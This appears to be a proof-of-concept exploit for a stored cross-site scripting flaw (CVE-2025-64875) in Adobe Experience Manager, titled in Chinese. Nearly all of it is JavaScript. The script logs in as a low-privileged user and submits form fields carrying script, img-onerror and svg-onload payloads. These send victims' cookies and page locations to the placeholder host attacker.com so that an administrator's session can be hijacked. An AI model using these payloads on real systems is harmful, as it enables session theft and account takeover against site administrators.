CVE-2025-64875 Adobe Experience Manager 存储型XSS漏洞

// CVE-2025-64875 PoC - Adobe Experience Manager Stored XSS // Target: Adobe Experience Manager < 6.5.24 // Attack Vector: Inject malicious JavaScript into form fields // Step 1: Login to AEM with low-privileged account const loginEndpoint = 'http://target-aem.com/libs/granite/core/content/login.html'; const credentials = { username: 'attacker', password: 'attacker_password' }; // Step 2: Submit form with XSS payload const formPayload = { './jcr:title': '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>', './text': '<img src=x onerror="fetch(\'https://attacker.com/log?data=\'+btoa(document.cookie))">', './description': '<svg/onload=fetch("https://attacker.com/exfil?data="+document.location.href)' }; // Step 3: When victim (admin) views the page containing the injected field, // the malicious script will execute in their browser // This allows attacker to steal session cookies, perform actions as admin, etc. fetch('http://target-aem.com/content/forms/af/vulnerable-form/jcr:content/guideContainer.af.submit.jsp', { method: 'POST', body: JSON.stringify(formPayload), headers: { 'Content-Type': 'application/json', 'Cookie': 'login-token=' + sessionToken } }); console.log('XSS payload submitted successfully');